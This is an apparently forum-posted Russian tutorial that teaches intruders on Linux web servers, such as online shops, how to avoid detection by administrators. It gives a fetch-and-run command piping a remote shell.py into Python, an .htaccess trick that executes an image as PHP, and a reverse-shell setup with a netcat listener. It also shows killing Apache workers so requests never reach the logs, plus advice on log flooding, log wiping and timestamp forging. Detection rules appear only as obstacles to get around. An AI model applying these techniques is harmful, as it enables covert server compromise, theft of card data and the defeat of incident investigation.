Статья Взгляд с другой стороны: как Linux админ ловит вас

Admin

Администратор
Взгляд с другой стороны: как Linux админ ловит вас

Сегодня мы поговорим об основных методах обнаружения проникновения на ваш (или не совсем ваш) Linux сервер, а также о том как этим методам можно противостоять.

Данная статья будет интересна тем, кто связан или планирует связаться с взломом Linux серверов. Здесь не будет ничего про громкие утечки среди гигантов уровня Yahoo или LinkedIn, наоборот данный материал описывает тот уровень целей, с которыми большинство из здесь присутствующих сталкиваются в повседневной жизни: шеллы и админки шопов, дейтингов, трафистых сайтов и тому подобного.

Текст я структурировал хронологически в том же порядке, в котором обычно и происходит проникновение на сервер со стороны веб сайта или веб приложения. Однако для начала мы зададимся вопросом: почему ленивый-как-речной-камень админ вообще пытается кого-то ловить?

Обычно это происходит по двум причинам.

Причиной номер один является пользователь сервера или хостинга. Пока этот пользователь жалуется - у админа болит голова. Пока у админа болит голова - он не может наслаждаться серией My Little Pony. Так что приходится действовать.

Как вы могли догадаться, подобные жалобы обычно начинаются со слова "полтергейст" =) Так, на сайте для кошечек откуда-то появилась реклама часов Rolex и конфискованных iPhone. И к тому же владельцу сайта стало труднее продавать свой Вискас. Его клиенты то и дело сетуют на различные неудобства: их кредитные карты почему-то перестали запоминаться сайтом, а Stripe каждый раз показывает какую-то ошибку, из-за которой приходится вводить номер карты, дату и CVV по два раза. Думаю вы понимаете о чём я =)
Наконец несчастный юзер может просто пожаловаться, что его WordPress блог больше никто не читает, потому что браузер вселяет в посетителей ужас своим предупреждением о том, что посещение данной страницы может повредить их компьютер.

Причина номер два - это автоматическое (иногда нет) обнаружение вредоносной активности по заранее известным признакам. На сервере имеется YARA и/или какие-то другие инструменты, которые позволяют админу анализировать файловую систему и логи на появление признаков взлома сервера (например таким признаком может быть файл rssfeed.php с сигнатурами веб шелла WSO).

Сюда я также отношу профилактику: когда в интернете обнаруживается какая-то массово эксплуатируемая уязвимость, то админы со всего света вынуждены не только патчить вверенные им сервера, но и проверяться на наличие индикаторов компрометации (IOC). Если мы говорим о небольших организациях и их выделенных (арендованных) серверах, то итогда этот процесс может происходить не только в автоматическом, но и в ручном режиме, что вносит некую непредсказуемость в действия админа.

Теперь же, когда вы примерно представляете, что чаще всего может побудить админа на поиски взломщика, мы можем отправиться в наше увлекательное путешествие...


Этап первый: поиск и эксплуатация уязвимости

Представим, что вы сканируете целевой веб сайт или применяете брутфорс для формы авторизации.

Возможно ли уже на этом этапе обнаружить вашу активность? Однозначно да.
Ваша активность уже 100% записана в лог и будет оставаться там, пока вы не получите привилегии root и не потрёте все логи, хотя в некоторых случаях даже это вам не поможет.

Но другой вопрос, будет ли такая активность интересовать админа?
Конечно же нет, потому что в интернете тааак мнооого разных сканеров, ботов, хакеров и прочих любителей загадить логи веб-сервера, что никому не придёт в голову пытаться в это вникнуть при помощи человеческого мозга. Ну по крайней мере, пока не будет обнаружено что-то очень интересное или просто не будет выявлен факт взлома и не понадобится провести расследование инцидента. Либо пока не появится очередная массово эксплуатируемая уязвимость, что потребует от админа проанализировать логи на-всякий-случай.

На этом месте я хочу оговориться, что расследование инцидентов далеко не всегда происходит с привлечением Патрика Джейна и Калифорнийского бюро расследований. Чаще всего - ведь мы говорим о не очень крупных проектах и огранизациях - владелец хочет лишь прекращения вашей вредоносной активности и вообще не заинтересован в разглашении факта взлома (утечки). Кроме этого участники подобного расследования обычно ничего толком не расследуют и стараются обойтись минимальными трудозатратами: вынесут с сервера то что попалось на глаза, и если вы снова вернётесь на сервер, расследователи постараются узнать как вы это сделали и вынесут всё остальное. Иными словами, при обнаружении веб шелла мало кто станет переустанавливать операционную систему и развёртывать до-взломные бекапы, чтобы гарантировано лишить хакера доступа на сервер. Просто удалят веб шеллы, которые найдут, и может быть поменяют какие-то пароли. Вот-и-всё.

На данном этапе нужно понимать, что:

A) Даже на небольших веб сайтах логи веб сервера хранятся очень долго, иногда месяцами. А ещё админ может их бэкапить вместе с файлами на какой-то другой сервер.

B) Админу очень просто анализировать эти логи и для этого есть специальные инструменты. А если известен IP или User-Agent, с которого хакер входил в админку, можно одной командой выхватить из журналов все ссылки, которые посещались с этого IP или браузера, и таким образом попытаться найти все веб шеллы и закладки, которыми атакующий пользовался через свой браузер.

Но хорошая новость для атакующей стороны заключается в том, что логи можно зафлудить. И зафлудить не так как обычно, а прям яростно. К примеру запустив параллельно много копий сканера или используя для этого специально созданный инструмент и много-много IP адресов. В таком случае появится шанс, что не очень опытный админ пропустит что-то важное. Главное чтобы ваш трафик не выделялся из всей этой массы. И ещё важно, чтобы по логам нельзя было понять, удалось ли вам обнаружить и проэксплуатировать уязвимость. Например, если вы нашли SQL инъекцию в скрипте search.php, вы можете выполнить похожий вредоносный запрос по сотне-другой различных ссылок, просто чтобы все эти записи в логах выглядели идентично и скорее напоминали баловство мамкиного хакера.


Уже сейчас я хочу рассмотреть пару вопросов, возможно даже немного забегая наперёд.

Что по поводу WAF?
Докладываю /голосом Пингвина из Мадагаскара/. WAF, он же Web Application Firewall. Предназначен для защиты от атак путём анализа и блокирования потенциально опасного трафика. И всё написанное выше справедливо и применимо к логам WAF. Иногда при помощи WAF можно обнаружить уже залитый шелл, точно так же анализируя трафик между браузером и сервером: согласитесь, что не так уж и сложно обнаружить веб шелл, если HTTP запрос к веб серверу содержит
Код:
POST /rssfeed.php
{
"p1": "cat /etc/passwd"
}
Как вы понимаете, с позиции атакующего решение этой проблемы заключается в том, чтобы между браузером и веб шеллом использовался дополнительный слой шифрования.

Является ли нарочное загрязнение логов обязательной процедурой?
Я так не думаю. Скорее я исхожу из принципа если-по-другому-никак. Ну а в некоторых ситуациях этого лучше не делать от-слова-совсем: в корпоративных сетях или на каких-то скрытых веб сайтах и сервисах. Так что всё зависит от случая, а ещё от вашего инструментария и от ваших возможностей.

В случаях, когда это применимо, можно ли ограничиться ТОЛЬКО загрязнением логов, и при этом не попасться?
Я считаю что это крайне маловероятно, так что читаем дальше =)


Этап второй: заливка шелла

Когда говорили о WAF, мы забежали немного наперёд, так что давайте откатимся назад в прошлое - когда шелл ещё не залит.

И-так, вы проникли в админку и нашли способ залиться. К примеру вы заливаетесь в Magento через WYSIWYG editor либо через плагин, который позволяет вам указать command line: какой-нибудь индексатор или синхронайзер, конфиг которого требует указать коммандную строку.

Начнём с выбора: что из этого лучше при прочих равных?

Я на месте атакующего предпочёл бы второй вариант, потому что этот способ безфайловый и как минимум позволяет не оставить на сервере следов в виде изменённых отметок времени и логов. То есть вы замените коммандную строку в конфиге плагина на что-то вроде
Код:
/usr/bin/curl https://12.34.56.78/shell.py | /usr/bin/python
И инициируете выполнение команды. А дальше дело за малым: по быстрому замаскировать свой процесс, а также зачистить admin actions log и внутренние логи плагина (если они вообще будут), ну а потом перейти к закреплению на сервере.

Вы же не забываете зачищать admin actions log, правда? Напоминаю вам что эти логи позволяют админу не только поймать вас, но и узнать как долго вы имели доступ к системе. Согласитесь, что если организация обнаружит утечку, то вам же лучше, если в пресс релизе будет "в течение некоторого периода времени" вместо "данные кредитных карт пользователей, совершавших оплату на сайте с 10/08/20 по 20/12/22."

Но кажется мы немного отвлеклись от заливки нашего веб шелла...

Продолжим. Что если у атакующего нет никаких других вариантов, кроме как загрузить скрипт и запустить его через браузер? (наш первый способ)

Давайте для начала вообразим, что вы можете залить через админку абсолютно любой файл в директорию /home/hackme/public_html//uploads/images/

Вы заливаете файл wso.php в каталог uploads/images/ и открываете в браузере ссылку
https://shop.example.com/uploads/images/wso.php
Что останется в логах?

Код:
1.2.3.4 - - [24/Dec/2022:14:51:23 -0500] "GET /uploads/images/wso.php HTTP/1.1" 200 2147 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0"

Как вы видите, в такой ситуации поймать вас - дело плёвое. Потому что PHP-файл в каталоге images ну о-очень явный индикатор, ведь ни одно легитимное действие не предполагает такого поведения. Плюс оказавшись на сервере вы можете обнаружить, что каталог uploads является чуть ли не единственной директорией, доступной вам для записи, и деваться вам от туда некуда. А ведь мечта о собственной картошечке уже поглатила ваш ум...

Что с этим можно сделать? - спросите вы меня... и я вам отвечу, что существует довольно много рецептов сокрытия подобной активности, но по сути они сводятся к двум базовым методикам:
A) Маскировка веб шелла под другой файл
B) Фокус Дэвида Копперфильда с изчезновением записи из логов =)
Ниже я приведу частные случаи реализации обоих методик.

Начнём с маскировки, потому что это будет проще в объяснении.
С этим старым-как-мир трюком некоторые из вас наверняка уже знакомы. В таком случае теорию можно пропустить. Ну а для тех, кто не знает что это такое, я объясню.

Наша стратегия заключается в том, чтобы перед веб шеллом загрузить в каталог uploads/images/ или выше файл .htaccess с таким содержимым:
Код:
<FilesMatch "^aloha.png$">
SetHandler application/x-httpd-php
</FilesMatch>

Как вы могли догадаться, теперь любой файл с именем aloha.png в текущем (или в дочернем) каталоге, будет восприниматься веб сервером как PHP код. Следовательно вы можете загрузить свой скрипт в виде картинки. А ещё вы можете заразить какое-то уже имеющееся на сервере изображение, например фото продукта. Кстати для справки, заражать вы можете не только картинки: для этого подойдут почти любые файлы, даже документы PDF. А если вам не нужна привязка к конкретному имени, то тогда используйте паттерн вида
Код:
.+\.png$

.

Но есть определённые требования. Нам нужно чтобы веб сервером был Apache 2.x и чтобы в конфиге веб сервера были включены mod_mime и опция AllowOverride - это будет так где-то в 95% случаев. А ещё найденная уязвимость должна нам позволить так или иначе создать на сервере файл .htaccess, что случается чутка пореже.

Осталось разобраться с тем, что мы оставим после себя в логах. Вот такой дичи быть там не должно, но пока что она есть:
Код:
1.2.3.4 - - [24/Dec/2022:13:10:18 -0500] "GET /uploads/images/aloha.png HTTP/1.1" 200 3317 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0"
1.2.3.4 - - [24/Dec/2022:13:11:19 -0500] "POST /uploads/images/aloha.png HTTP/1.1" 200 4512 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0"
1.2.3.4 - - [24/Dec/2022:13:14:22 -0500] "POST /uploads/images/aloha.png HTTP/1.1" 200 3582 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0"

Маскировка так себе =)
POST запрос картинки и всегда разный размер HTTP ответа просто кричат админу "твой сервер взломан!!1"

Мы можем избежать обнаружения, используя принцип reverse-shell и добавив отображение картинки aloha.png, предусмотрев при этом авторизацию по Cookies или по какому-то другому HTTP заголовку, чтобы никто кроме нас не запустил наш шелл случайно.

Обратный шелл для последующей модификации можно взять отсюда.
Все параметры вроде $ip и $port вы можете передавать при помощи HTTP заголовка, таким образом ваш обратный шелл не будет привязан к конкретному IP, и в случае обнаружения не сможет вас выдасть.

Когда будете выбирать HTTP заголовки для чего-то подобного, избегайте использования User-Agent и Referer, так как эти заголовки попадают в лог. Проще всего для этой цели использовать заголовок Cookies с дополнительным слоем шифрования.

Теперь на своём сервере нужно запустить netcat:
Код:
[hacker@server ~]$ nc -v -n -l -p 31337
listening on [any] 31337 ...

Затем инициировать подключение обратного шелла к вашему серверу, открыв в браузере ссылку
https://shop.example.com/uploads/images/aloha.png

Таким образом для полноценной работы нам будет достаточно всего лишь одного GET. И теперь ваши HTTP запросы будут встречаться в логах заметно реже и будут выглядеть вот так
Код:
1.2.3.4 - - [24/Dec/2022:13:10:18 -0500] "GET /uploads/images/aloha.png HTTP/1.1" 200 3317 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0"

# ... thousands of other requests ...

1.2.3.4 - - [25/Dec/2022:14:10:01 -0500] "GET /uploads/images/aloha.png HTTP/1.1" 200 3317 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0"

Правда стало намного лучше? И размер ответа - всегда одинаковый.


Осталось напомнить читателю, что помимо access log существует ещё лог ошибок. Вызов file_get_contents() с несуществующим файлом в качестве оргумента или обращение к несуществующему параметру POST запроса - всё это окажется в error_log
Код:
[Sat Dec 24 13:07:22.837815 2022] [:error] [pid 28598] [client ::1:46530] PHP Warning:  file_get_contents(/home/hackme/public_html/config.php): failed to open stream: No such file or directory in /home/hackme/public_html/uploads/images/aloha.png on line 4
Выглядит супер странно! Так что подавляйте, а ещё лучше перенаправляйте вывод ошибок PHP.


Теперь давайте рассмотрим вторую методику - фокус с исчезновением записи из лога.

Данный приём может использоваться не только с веб сервером Apache. Вообще не только с веб серверами. Но для тестов мы будем использовать именно апач.

Давайте сначала я покажу вам, что из себя представляет Apache, работающий в системе Linux:
Код:
PID  PGID   SID TTY          TIME   CMD
15064 15064 15064 ?        00:00:00   httpd
15065 15064 15064 ?        00:00:00     httpd
15066 15064 15064 ?        00:00:00     httpd
15067 15064 15064 ?        00:00:00     httpd
15068 15064 15064 ?        00:00:00     httpd
15069 15064 15064 ?        00:00:00     httpd

Как видно, существует мастер процесс (PID 15064) и несколько дочерних процессов (воркеров). Их количество может быть практически любым и для примера совершенно не важно. Каждый из этих дочерних процессов, когда он не занят обработкой какого-то HTTP запроса, является кандидатом на получение такой задачи. То есть мастер процесс слушает какой-то TCP порт (допустим 80) и распределяет поступающие на этот порт HTTP запросы среди не занятых воркеров. А при необходимости, если ощущается нехватка воркеров, мастер пораждает новые дочерние процессы.

Это крайне упрощённое объяснение, но его достаточно для понимания далее изложенного материала.

Как же при этом происходит логгирование. Поскольку мы не вдаёмся в подробности про IO, сокеты и пайплайны, просто скажу, что каждый воркер отправляет свои логи на вывод примерно так же, как это делает программа hello world. От туда, из программного вывода, мастер процесс получает логи и пишет их в общий журнал (в лог файл). Это означает, что при правильной конфигурации веб сервера, воркер с правами apache:apache, выполняющий какой-то PHP код, не сможет изменить лог файл, который доступен для правки только root:root, потому что сделать это может только мастер процесс, обладающий привилегиями рута и ответственный за такую агрегацию логов.

Казалось бы схема надёжная, как швейцарские часы...

Но откуда-то в голове возникает мысль: а что если воркер сдохнет ещё до того, как отправит что-то на вывод?

Давайте сначала посмотрим, а что вообще произойдёт, если один воркер помрёт из-за чего бы то ни было?
В таком случае мастер процесс штатно в рамках заложенного в него поведения убьёт кое какие ничем не занятые воркеры и запустит новые. А остальные воркеры, которые в текущий момент времени заняты обработкой запросов, продолжат работать как ни в чём не бывало. То есть не произойдёт ничего такого, что могли бы заметить пользователи веб сервера. Правда круто?
Код:
[[email protected] ~]$ sudo kill 15067
[[email protected] ~]$ ps -ejH
PID  PGID   SID TTY          TIME   CMD
15064 15064 15064 ?        00:00:00   httpd
15066 15064 15064 ?        00:00:00     httpd
15404 15064 15064 ?        00:00:00     httpd
15407 15064 15064 ?        00:00:00     httpd
15410 15064 15064 ?        00:00:00     httpd
15411 15064 15064 ?        00:00:00     httpd
15412 15064 15064 ?        00:00:00     httpd
15413 15064 15064 ?        00:00:00     httpd
15414 15064 15064 ?        00:00:00     httpd

Теперь остаётся правильно прибить процесс нашего воркера, и тогда в логах не останется даже намёка на нашу деятельность. И если настройка сервера позволяет PHP скриптам выполнять системные команды через exec(), system() или как-то ещё, то нет ничего проще чем:

PHP:
<?php

/* ... do something ... */

exec("kill " . getmypid()); /* kill worker process */

Таким образом, если вы загрузите этот код под именем deadbeef.php в каталог uploads/images/ и перейдёте по ссылке
https://shop.example.com/uploads/images/deadbeef.php
то в логах веб сервера будет

Код:
1.2.3.4 - - [25/Dec/2022:04:06:48 -0500] "GET /index.php HTTP/1.1" 200 43422 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0"
1.2.3.4 - - [25/Dec/2022:04:06:48 -0500] "GET /index.php?=PHPE9568F34-D428-11d2-A769-00AA001ACF42 HTTP/1.1" 200 2524 "http://shop.example.com/index.php" "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0"
1.2.3.4 - - [25/Dec/2022:04:06:48 -0500] "GET /index.php?=PHPE9568F35-D428-11d2-A769-00AA001ACF42 HTTP/1.1" 200 2146 "http://shop.example.com/index.php" "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0"
Не спешите одевать очки! В логе действительно нету нашего запроса к deadbeef.php!

Как вы поняли секрет нашего фокуса в том, что запись не исчезает из лога, она там просто не появляется =) А происходит это по той причине, что во время выполнения команды kill воркер ещё не знает всего того, что ему требуется для создания строки лога. К примеру он ещё не знает HTTP статус (200, 404, ...) и конечный размер HTTP ответа. В связи с чем воркер вынужден ждать до самого конца исполнения PHP скрипта, прежде чем сможет сформировать строку лога и отправить её на вывод.

Но здесь имеется одна загвоздка: воркер не дождётся завершения скрипта, а вы - не дождётесь HTTP ответа. Потому что воркер умрёт. Критично ли это? Вообще не критично. Вам просто нужен reverse-shell или какая-то другая техника, которая позволит не надеяться на получение ответа от веб сервера.

И ещё я хочу предостеречь вас от того, чтобы посылать убиваемому процессу сигнал. Убийство воркера kill -9 %pid% или kill -6 %pid% попадёт в логи, пусть и не совсем явно:
Код:
# `kill -9 %pid%` access_log artifacts
::1 - - [24/Dec/2022:12:37:15 -0500] "OPTIONS * HTTP/1.0" 200 - "-" "Apache/2.4.6 (CentOS) PHP/5.4.16 (internal dummy connection)"
::1 - - [24/Dec/2022:12:37:16 -0500] "OPTIONS * HTTP/1.0" 200 - "-" "Apache/2.4.6 (CentOS) PHP/5.4.16 (internal dummy connection)"

# `kill -6 %pid%` error_log artifacts
[Sat Dec 24 12:41:17.009401 2022] [core:notice] [pid 15064] AH00052: child pid 27165 exit signal Aborted (6)
[Sat Dec 24 12:41:17.009470 2022] [core:notice] [pid 15064] AH00052: child pid 27168 exit signal Aborted (6)
[Sat Dec 24 12:41:17.009478 2022] [core:notice] [pid 15064] AH00052: child pid 27171 exit signal Aborted (6)
[Sat Dec 24 12:41:17.009484 2022] [core:notice] [pid 15064] AH00052: child pid 27172 exit signal Aborted (6)
И для опытного админа не составит труда обнаружить подобные вещи. Так что используйте просто kill %pid%.

Вроде бы всё здорово, да? Но вы наверное помните, что PHP листингу выше предшествовало слово если...

К сожалению, когда на сервере запрещено выполнение команд через exec()-like функции и не поддерживается posix_kill, вы об этом можете и не знать заранее. Таким образом ваш скрипт не сможет завершить процесс воркера и ваш HTTP запрос попадёт в лог. Ку-ку.

Так что возможно в вашем конкретном случае убийство воркера должно будет осуществляться DoS атакой на процесс, что менее универсально, сложнее технически и не так надёжно.

В качестве примечания я также укажу, что есть и другая возможность:
PHP:
<?php

ini_set('max_execution_time', 0);

/* do something ... */

sleep(1e6); /* sleep for one million seconds */
Данный скрипт сам по себе выполнился бы о-очень не скоро, только через несколько лет. Но с веб сервером всё происходит несколько иначе. Так что мы избежим попадания в лог лишь временно, пока не будет перезапущен апач либо пока воркер не будет корректно прибит. Такие дела.


Но даже если нам удалось замаскироваться, или вообще избежать попадания в логи за счёт безфайлового метода либо за счёт грамонтного убийства воркера, логи далеко не единственное средство, которое позволяло админу обнаружить нашу активность. Всё самое интересное у нас впереди...


Этап третий: жизнь на сервере

На данном этапе вы уже залили шелл и можете достаточно скрытно подключаться к нему. Теперь вам предстоит скрыть от админа свою регулярную активность на сервере, которая будет выражаться как минимум в следующем:
* действия с файловой системой
* действия с сетью
* действия с базой данных и сервисами

Начнём с того, что полностью скрыть свою активность возможно, только если вы поднимите свои права до рута и установите руткит. Но даже в таком случае, если вы оказались слишком назойливым домовёнком, который пьёт не только молочко, но и админскую кровушку, админ может подключиться по IPMI, загрузиться с live-cd и попытается найти ваш руткит с помощью chkrootkit. А если не получится - переустановит сервер. Возможно, в таком случае организация даже решится на модернизацию инфраструктуры и на внедрение каких-то новых средств защиты. Так что каким бы не был ваш уровень привилегий на сервере - всё равно ведите себя максимально скрытно и осторожно, чтобы о вас никто не знал.

Ну-с, начнём грызть нашу морковку...

Каждый раз когда вы взаимодействуете с файловой системой, даже если вы не создаёте и не редактируете файлы, вас можно обнаружить по access time. Даже если вы выполнили безобидный ls или head, вы уже изменили access time. И админу достаточно выполнить stat чтобы об этом узнать:
Код:
[[email protected] ~]$ stat /home/hackme/public_html/index.php
File: ‘/home/hackme/public_html/index.php’
Size: 273             Blocks: 8          IO Block: 4096   regular file
Device: fd00h/64768d    Inode: 17047647    Links: 1
Access: (0755/-rwxr-xr-x)  Uid: ( 1234/  hackme)   Gid: ( 1234/  hackme)
Context: unconfined_u:object_r:user_home_t:s0
Access: 2022-12-21 10:34:51.121235089 -0500
Modify: 2022-12-21 10:33:47.431457675 -0500
Change: 2022-12-21 10:33:47.452881559 -0500
Birth: -

Разумеется, админу не будет понятно, кто или что получало доступ к файлу, потому что доступ к тем или иным файлам и каталогам может осуществляться легитимными пользователями и программами. И в целом на access time смотрят не очень часто: в основном при серьёзных расследованиях, когда нужно восстановить по крупицам хронологию какой-то локальной-интернет-катастрофы. Куда интереснее modify time (mtime) и change time (ctime). Например, админ может выполнить поиск всех файлов, которые были изменены за последние сутки:
Код:
[[email protected] ~]$ find /home/hackme/public_html/ -type f -mtime -1
/home/hackme/public_html/uploads/images/.htaccess
/home/hackme/public_html/uploads/images/aloha.png
/home/hackme/public_html/uploads/images/deadbeef.php

В-оу! Вот это поворот, правда? Но не спешите расстраиваться, ведь впереди вас ждёт ещё много других неприятных сюрпризов =)

Конечно средствами операционной системы (и даже средствами PHP) можно изменить atime и mtime. Но такое изменение всегда влечёт за собой изменение ctime на текущее время. Изменить ctime на произвольное время возможно только специальными средствами и на несмонтированной файловой системе. Во всех остальных случаях ctime меняется на текущее время. Так что админ всё равно сможет найти все ваши файлы, просто для этого ему нужно будет выполнить поиск по ctime:
Код:
[[email protected] ~]$ find /home/hackme/public_html/ -type f -ctime -1

В чём же тогда профит от смены mtime?

Во-первых все программы, начиная с команды ls и заканчивая графическими файловыми менеджерами, по умолчанию отображают именно mtime. Так что смена mtime это в некотором роде защита от случайного обнаружения либо от обнаружения юзерами-нубами. Любой нормальный админ знает про ctime, так что оставьте всякую надежду...

Во-вторых, далеко не всегда разница между mtime и ctime обусловлена заменой отметки времени: ctime меняется в том числе тогда, когда легитимный пользователь меняет атрибуты файла. Так что нет ничего необычного в том, что файл имеет большую разницу между mtime и ctime. Например юзер мог сначала залить файлы по FTP, а через несколько часов зайти по SSH и поменять атрибуты файла командой chmod +x:
Код:
Modify: 2022-12-21 10:33:47.431457675 -0500
Change: 2022-12-21 14:11:43.378123561 -0500

Но вот на чём вас реально может поймать админ, так это на подобном
PHP:
$time = strftime("2022-12-01 12:34:56");
touch($file, $time, $time);

И вы получаете:

Код:
[[email protected] ~]$ stat /home/hackme/public_html/index.php
...
Access: 2022-12-01 07:34:56.000000000 -0500
Modify: 2022-12-01 07:34:56.000000000 -0500
...

Вы до этого видели столько нулей? =) Вернитесь немного назад и сравните с предыдущим выводом команды stat. Сразу станет понятно, что отметка времени была изменена нарочно. И это может быть признаком присутствия на сервере личинки хакера.

К сожалению такова особенность PHP, который в функции touch(string, int, int) использует тип int. А ещё внимательный читатель наверняка заметил разницу в пять часов между временем заданным и временем полученным. Функция strftime(), которая встречается в коде всех веб шеллов, ничего не знает о time zone сервера, так что будьте аккуратнее с этим.

И не забывайте что mtime и ctime каталога изменятся на текущее время, когда вы удаляете из него следы своего присутствия.


Что можно сделать, чтобы всё-таки избежать обнаружения по ctime?

Использовать руткит или юзермодный безфайловый бекдор. Но если вам это не доступно, тогда вспоминаем что дерево лучше всего прятать в лесу: ищите на сервере файлы, которые часто изменяются, и прячьтесь среди них. Это может быть кэш, аплоды, временные файлы и так далее. А также не делайте в ближайшее время ничего такого, что может побудить админа на поиск недавно изменённых файлов. И молитесь Богам. Тогда возможно какое-то время вас не заметят.


И наконец хочу вам рассказать про утилиту auditctl.

Данный инструмент позволяет админу отслеживать достаточно много различной активности. И если мы говорим о файловой системе, то админ может к примеру установить слежку за определёнными файлами
Код:
[[email protected] ~]# auditctl -w /home/hackme/public_html/app/payment/card.php -p w -k magecart
И потом поглядывать, когда и кто этот файл редактировал:
Код:
[[email protected] ~]# ausearch -k magecart
time->Thu Dec 22 13:53:36 2022
...
----
time->Thu Dec 22 13:53:36 2022
...
type=SYSCALL msg=audit(1671735268.891:15800): arch=c000003e syscall=2 success=yes exit=3 a0=9c7800 a1=241 a2=1b6 a3=fffffff0 items=2 ppid=31798 pid=31799 auid=1234 uid=1234 gid=1234 euid=1234 suid=1234 fsuid=1234 egid=1234 sgid=1234 fsgid=1234 tty=pts1 ses=65 comm="bash" exe="/usr/bin/bash" subj=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 key="magecart"

И кстати ничто не мешает админу выполнить такой вот детский трюк:
Код:
[[email protected] ~]# echo icaughtyou > /home/hackme/root-password.txt
[[email protected] ~]# chown hackme:hackme /home/hackme/root-password.txt
[[email protected] ~]# auditctl -w /home/hackme/root-password.txt -p ra -k honeypot

Если хакер окажется достаточно наивным, то он на это попадётся =)

Кроме auditctl вы можете столкнуться с tripwire и AIDE. Зависит от того, чем админ сервера привык пользоваться, но в основном это всё-таки auditctl.


Откусываем ещё один кусочек от нашей морковки...

Первое что можно сделать, чтобы вас быстро обнаружили, так это забиндить какой-то сетевой порт и юзать его 24/7. Админ просто выполнит ss -tunlp и увидит все порты и процессы, так что ему совсем не сложно будет узнать, где вы спрятали свой бэкдор.
Код:
tcp    LISTEN    *:31337    users:(("ncat",pid=29781,fd=3))

Но я буду исходить из предположения, что вы конечно же так никогда не делали =)

Основным инструментом для обнаружения вредосносной сетевой активности является Snort. Про этот инструмент знает любой админ. Пользоваться им совсем не сложно: вы используете большой список правил, который создан и поддерживается довольно обширным коммьюнити, создаёте свои правила и даже можете купить подписку, чтобы отслеживать все самые актуальные угрозы.
Код:
alert tcp any $HTTP_PORTS -> any any (msg:"INDICATOR-COMPROMISE WSO web shell interactive SQL display"; flow:to_client,established; file_data; content:"WSO"; content:"var a_ = 'Sql'"; metadata:service http; reference:url,thehackernews.com/2011/06/wso-new-version-25-web-shell-2011.html; classtype:trojan-activity; sid:21121; rev:4;)

Конечно Snort может использоваться не только для обнаружения IOC-ов, но и просто для выявления попыток проникнуть на сервер
Код:
alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS ( msg:"SERVER-WEBAPP Magecart inbound scan for vulnerable plugin attempt"; flow:to_server,established; http_uri; content:"?misc=",fast_pattern,nocase; content:"&dl="; content:"/index.php/"; http_header; content:!"Referer"; http_method; content:"POST"; metadata:policy max-detect-ips drop,policy security-ips drop,ruleset community; service:http; classtype:web-application-attack; sid:49282; rev:2; )

Статичные анализаторы вроде Snort сильны только в обнаружении хорошо известных угроз. Так что если вы используете какой-то общедоступный инструмент либо применяете свой инструментарий массово, то добавьте дополнительный слой шифрования и не допускайте появления сигнатуры, по которой вас можно поймать.

Не вижу смысла говорить про какие-то более продвинутые инструменты, вроде облака или железки, которую можно воткнуть в свою сеть, потому что это слабо соотносится с той категорией таргетов, про которые мы говорим. Просто знайте, что такое существует, и используется почти всеми крупными организациями.


Ещё нередко можно привлечь внимание админа, когда вы совсем обнаглели и качаете терабайты данных. Существуют инструменты для мониторинга. Аномальный всплеск трафика обязательно привлечёт внимание, к тому же провайдеры часто устанавливают лимит и весь трафик, который расходуется сверх этого лимита, оплачивается отдельно. Так что если ваша цель выгрузить бекапы и какие-то большие данные, продумайте свои действия с учётом сказанного. Но только не ждите, что вы скачаете за один день целый терабайт бекапов и этого не заметят. Можете посмотреть графики вот здесь, чтобы получить представление о том, как выглядят подобные всплески.


Ну что ж, от нашей морковки осталась одна попка...

Статья выходит достаточно объёмная, так что я постараюсь уложиться в общих словах и в пару азбацев.

СУБД вроде MySQL и Postgres, а также различные службы тоже ведут логи, и эти логи точно так же могут быть и скорее всего будут подвержены аудиту.

Так что мой вам совет: определите каким образом устроено логгирование интересующего вас сервиса и как происходит ротация логов. И если спрятаться не представляется возможным, тогда постарайтесь не делать с этим сервисом ничего такого, чего с ним не делают легитимные приложения.

Так же в базе данных могут быть установлены триггеры, которые срабатывают допустим при добавлении новых админов веб сайта, при смене или восстановлении паролей и для прочих действий, связанных с безопасностью. Особенность триггеров в том, что они работают на уровне СУБД, то есть не имеет вообще никакого значения, будет ли добавлен пользователь через админку или через SQL.

И наконец подключаясь к консоли СУБД помните, что скорее всего все ваши действия будут записаны в отдельный хистори файл.

*хрумк*


Завершая главу, хочу обратить ваше внимание, что нами рассмотрены далеко не все базовые механизмы безопасности, которые позволяют поймать хакера. Если читатель захочет копнуть глубже, то я рекомендую почитать про SELinux и про ModSecurity.


Этап четвёртый: закрепление на сервере

Метод закрепления будет зависеть от ваших привелегий на сервере, а также от архитектуры веб сайта или веб приложения. Ниже будут рассмотрены методы, популярные для закрепления при отсутствии root, потому что про рутовый доступ всё уже было сказано, когда мы обсуждали руткит.

Я хочу оговориться, что в закреплении на сервере не всегда есть необходимость. Возможно что в вашем конкретном случае будет лучше заходить на сервер через эксплуатацию уязвимости, а не привлекать к себе внимание в попытке закрепиться.


И-так. На секундочку вернёмся к нашему залитому шеллу. Часто случается что ваш шелл, которым как вы думаете вы успешно закрепились на сервере, выпиливается даже не админом, а просто при развертывании очередного обновления веб сайта. В 2022 году мало кто заливает по FTP отредактированные файлы. Все давно используют Git и другие системы контроля версий. При загрузке своих файлов на сервер обращайте внимание, не находится ли выбранный вами каталог под контролем подобной системы, а если всё-таки находится, тогда ищите другой каталог. Список исключений смотрите в .gitignore. Про git status я надеюсь вы тоже всё понимаете.


Закрепление через SSH я считаю не очень надёжным методом, но всё равно расскажу и про него.
Иногда ваши права позволяют вам добавить свой ключ в ~/.ssh/authorized_keys. Но как было сказано ранее, для админа не составить труда найти все недавно изменённые файлы, и естественно что он обратит внимание на этот файл.

